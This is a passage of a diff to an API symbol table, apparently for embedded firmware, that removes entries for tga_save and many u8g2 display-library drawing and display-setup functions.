Function,+,text_input_set_header_text,void,"TextInput*, const char*" Function,+,text_input_set_minimum_length,void,"TextInput*, size_t" Function,+,text_input_set_result_callback,void,"TextInput*, TextInputCallback, void*, char*, size_t, _Bool" Function,+,text_input_set_validator,void,"TextInput*, TextInputValidatorCallback, void*" -Function,-,tga_save,void,const char* Function,-,tgamma,double,double Function,-,tgammaf,float,float Function,-,tgammal,long double,long double @@ -3443,1060 +3426,6 @@ Function,-,trunc,double,double Function,-,truncf,float,float Function,-,truncl,long double,long double Function,-,tzset,void, -Function,-,u8g2_AddPolygonXY,void,"u8g2_t*, int16_t, int16_t" -Function,-,u8g2_ClearBuffer,void,u8g2_t* -Function,-,u8g2_ClearDisplay,void,u8g2_t* -Function,-,u8g2_ClearPolygonXY,void, -Function,-,u8g2_DrawBitmap,void,"u8g2_t*, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t, const uint8_t*" -Function,-,u8g2_DrawBox,void,"u8g2_t*, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t" -Function,-,u8g2_DrawCircle,void,"u8g2_t*, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t, uint8_t" -Function,-,u8g2_DrawDisc,void,"u8g2_t*, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t, uint8_t" -Function,-,u8g2_DrawEllipse,void,"u8g2_t*, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t, uint8_t" -Function,-,u8g2_DrawExtUTF8,u8g2_uint_t,"u8g2_t*, u8g2_uint_t, u8g2_uint_t, uint8_t, const uint16_t*, const char*" -Function,-,u8g2_DrawExtendedUTF8,u8g2_uint_t,"u8g2_t*, u8g2_uint_t, u8g2_uint_t, uint8_t, u8g2_kerning_t*, const char*" -Function,-,u8g2_DrawFilledEllipse,void,"u8g2_t*, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t, uint8_t" -Function,-,u8g2_DrawFrame,void,"u8g2_t*, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t" -Function,-,u8g2_DrawGlyph,u8g2_uint_t,"u8g2_t*, u8g2_uint_t, u8g2_uint_t, uint16_t" -Function,-,u8g2_DrawHLine,void,"u8g2_t*, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t" -Function,-,u8g2_DrawHVLine,void,"u8g2_t*, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t, uint8_t" -Function,-,u8g2_DrawHorizontalBitmap,void,"u8g2_t*, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t, const uint8_t*" -Function,-,u8g2_DrawLine,void,"u8g2_t*, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t" -Function,-,u8g2_DrawLog,void,"u8g2_t*, u8g2_uint_t, u8g2_uint_t, u8log_t*" -Function,-,u8g2_DrawPixel,void,"u8g2_t*, u8g2_uint_t, u8g2_uint_t" -Function,-,u8g2_DrawPolygon,void,u8g2_t* -Function,-,u8g2_DrawRBox,void,"u8g2_t*, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t" -Function,-,u8g2_DrawRFrame,void,"u8g2_t*, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t" -Function,-,u8g2_DrawStr,u8g2_uint_t,"u8g2_t*, u8g2_uint_t, u8g2_uint_t, const char*" -Function,-,u8g2_DrawTriangle,void,"u8g2_t*, int16_t, int16_t, int16_t, int16_t, int16_t, int16_t" -Function,-,u8g2_DrawUTF8,u8g2_uint_t,"u8g2_t*, u8g2_uint_t, u8g2_uint_t, const char*" -Function,-,u8g2_DrawUTF8Line,void,"u8g2_t*, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t, const char*, uint8_t, uint8_t" -Function,-,u8g2_DrawUTF8Lines,u8g2_uint_t,"u8g2_t*, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t, const char*" -Function,-,u8g2_DrawVLine,void,"u8g2_t*, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t" -Function,-,u8g2_DrawXBM,void,"u8g2_t*, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t, const uint8_t*" -Function,-,u8g2_DrawXBMP,void,"u8g2_t*, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t, const uint8_t*" -Function,-,u8g2_FirstPage,void,u8g2_t* -Function,-,u8g2_GetFontSize,size_t,const uint8_t* -Function,-,u8g2_GetGlyphWidth,int8_t,"u8g2_t*, uint16_t" -Function,-,u8g2_GetKerning,uint8_t,"u8g2_t*, u8g2_kerning_t*, uint16_t, uint16_t" -Function,-,u8g2_GetKerningByTable,uint8_t,"u8g2_t*, const uint16_t*, uint16_t, uint16_t" -Function,-,u8g2_GetStrWidth,u8g2_long_t,"u8g2_t*, const char*" -Function,-,u8g2_GetStrX,int8_t,"u8g2_t*, const char*" -Function,-,u8g2_GetUTF8Width,u8g2_uint_t,"u8g2_t*, const char*" -Function,-,u8g2_IsAllValidUTF8,uint8_t,"u8g2_t*, const char*" -Function,-,u8g2_IsGlyph,uint8_t,"u8g2_t*, uint16_t" -Function,-,u8g2_IsIntersection,uint8_t,"u8g2_t*, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t" -Function,-,u8g2_NextPage,uint8_t,u8g2_t* -Function,-,u8g2_SendBuffer,void,u8g2_t* -Function,-,u8g2_SendF,void,"u8g2_t*, const char*, ..." -Function,-,u8g2_SetBitmapMode,void,"u8g2_t*, uint8_t" -Function,-,u8g2_SetBufferCurrTileRow,void,"u8g2_t*, uint8_t" -Function,-,u8g2_SetClipWindow,void,"u8g2_t*, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t" -Function,-,u8g2_SetDisplayRotation,void,"u8g2_t*, const u8g2_cb_t*" -Function,-,u8g2_SetDrawColor,void,"u8g2_t*, uint8_t" -Function,-,u8g2_SetFont,void,"u8g2_t*, const uint8_t*" -Function,-,u8g2_SetFontDirection,void,"u8g2_t*, uint8_t" -Function,-,u8g2_SetFontMode,void,"u8g2_t*, uint8_t" -Function,-,u8g2_SetFontPosBaseline,void,u8g2_t* -Function,-,u8g2_SetFontPosBottom,void,u8g2_t* -Function,-,u8g2_SetFontPosCenter,void,u8g2_t* -Function,-,u8g2_SetFontPosTop,void,u8g2_t* -Function,-,u8g2_SetFontRefHeightAll,void,u8g2_t* -Function,-,u8g2_SetFontRefHeightExtendedText,void,u8g2_t* -Function,-,u8g2_SetFontRefHeightText,void,u8g2_t* -Function,-,u8g2_SetMaxClipWindow,void,u8g2_t* -Function,-,u8g2_SetupBitmap,void,"u8g2_t*, const u8g2_cb_t*, uint16_t, uint16_t" -Function,-,u8g2_SetupBuffer,void,"u8g2_t*, uint8_t*, uint8_t, u8g2_draw_ll_hvline_cb, const u8g2_cb_t*" -Function,-,u8g2_SetupBuffer_SDL_128x64,void,"u8g2_t*, const u8g2_cb_t*" -Function,-,u8g2_SetupBuffer_SDL_128x64_1,void,"u8g2_t*, const u8g2_cb_t*" -Function,-,u8g2_SetupBuffer_SDL_128x64_4,void,"u8g2_t*, const u8g2_cb_t*" -Function,-,u8g2_SetupBuffer_TGA_DESC,void,"u8g2_t*, const u8g2_cb_t*" -Function,-,u8g2_SetupBuffer_TGA_LCD,void,"u8g2_t*, const u8g2_cb_t*" -Function,-,u8g2_SetupBuffer_Utf8,void,"u8g2_t*, const u8g2_cb_t*" -Function,-,u8g2_Setup_a2printer_384x240_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_a2printer_384x240_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_a2printer_384x240_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_hx1230_96x68_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_hx1230_96x68_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_hx1230_96x68_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_il3820_296x128_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_il3820_296x128_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_il3820_296x128_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_il3820_v2_296x128_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_il3820_v2_296x128_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_il3820_v2_296x128_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ist3020_erc19264_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ist3020_erc19264_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ist3020_erc19264_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ist7920_128x128_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ist7920_128x128_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ist7920_128x128_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ks0108_128x64_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ks0108_128x64_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ks0108_128x64_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ks0108_erm19264_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ks0108_erm19264_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ks0108_erm19264_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_lc7981_160x160_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_lc7981_160x160_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_lc7981_160x160_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_lc7981_160x80_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_lc7981_160x80_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_lc7981_160x80_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_lc7981_240x128_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_lc7981_240x128_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_lc7981_240x128_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_lc7981_240x64_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_lc7981_240x64_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_lc7981_240x64_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ld7032_60x32_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ld7032_60x32_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ld7032_60x32_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ld7032_i2c_60x32_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ld7032_i2c_60x32_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ld7032_i2c_60x32_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ls013b7dh03_128x128_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ls013b7dh03_128x128_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ls013b7dh03_128x128_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ls013b7dh05_144x168_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ls013b7dh05_144x168_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ls013b7dh05_144x168_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ls027b7dh01_400x240_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ls027b7dh01_400x240_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ls027b7dh01_400x240_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_max7219_32x8_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_max7219_32x8_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_max7219_32x8_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_max7219_64x8_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_max7219_64x8_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_max7219_64x8_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_max7219_8x8_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_max7219_8x8_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_max7219_8x8_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_nt7534_tg12864r_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_nt7534_tg12864r_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_nt7534_tg12864r_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_null,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_pcd8544_84x48_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_pcd8544_84x48_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_pcd8544_84x48_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_pcf8812_96x65_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_pcf8812_96x65_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_pcf8812_96x65_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ra8835_320x240_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ra8835_320x240_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ra8835_320x240_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ra8835_nhd_240x128_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ra8835_nhd_240x128_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ra8835_nhd_240x128_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sbn1661_122x32_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sbn1661_122x32_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sbn1661_122x32_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sed1330_240x128_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sed1330_240x128_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sed1330_240x128_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sed1520_122x32_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sed1520_122x32_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sed1520_122x32_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1106_128x64_noname_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1106_128x64_noname_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1106_128x64_noname_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1106_128x64_vcomh0_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1106_128x64_vcomh0_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1106_128x64_vcomh0_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1106_128x64_winstar_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1106_128x64_winstar_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1106_128x64_winstar_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1106_64x32_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1106_64x32_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1106_64x32_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1106_72x40_wise_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1106_72x40_wise_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1106_72x40_wise_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1106_i2c_128x64_noname_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1106_i2c_128x64_noname_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1106_i2c_128x64_noname_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1106_i2c_128x64_vcomh0_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1106_i2c_128x64_vcomh0_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1106_i2c_128x64_vcomh0_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1106_i2c_128x64_winstar_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1106_i2c_128x64_winstar_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1106_i2c_128x64_winstar_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1106_i2c_64x32_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1106_i2c_64x32_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1106_i2c_64x32_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1106_i2c_72x40_wise_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1106_i2c_72x40_wise_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1106_i2c_72x40_wise_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1107_128x128_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1107_128x128_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1107_128x128_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1107_64x128_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1107_64x128_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1107_64x128_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1107_i2c_128x128_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1107_i2c_128x128_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1107_i2c_128x128_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1107_i2c_64x128_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1107_i2c_64x128_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1107_i2c_64x128_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1107_i2c_pimoroni_128x128_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1107_i2c_pimoroni_128x128_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1107_i2c_pimoroni_128x128_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1107_i2c_seeed_128x128_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1107_i2c_seeed_128x128_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1107_i2c_seeed_128x128_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1107_i2c_seeed_96x96_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1107_i2c_seeed_96x96_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1107_i2c_seeed_96x96_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1107_pimoroni_128x128_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1107_pimoroni_128x128_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1107_pimoroni_128x128_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1107_seeed_128x128_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1107_seeed_128x128_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1107_seeed_128x128_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1107_seeed_96x96_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1107_seeed_96x96_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1107_seeed_96x96_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1108_160x160_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1108_160x160_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1108_160x160_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1108_i2c_160x160_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1108_i2c_160x160_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1108_i2c_160x160_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1122_256x64_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" 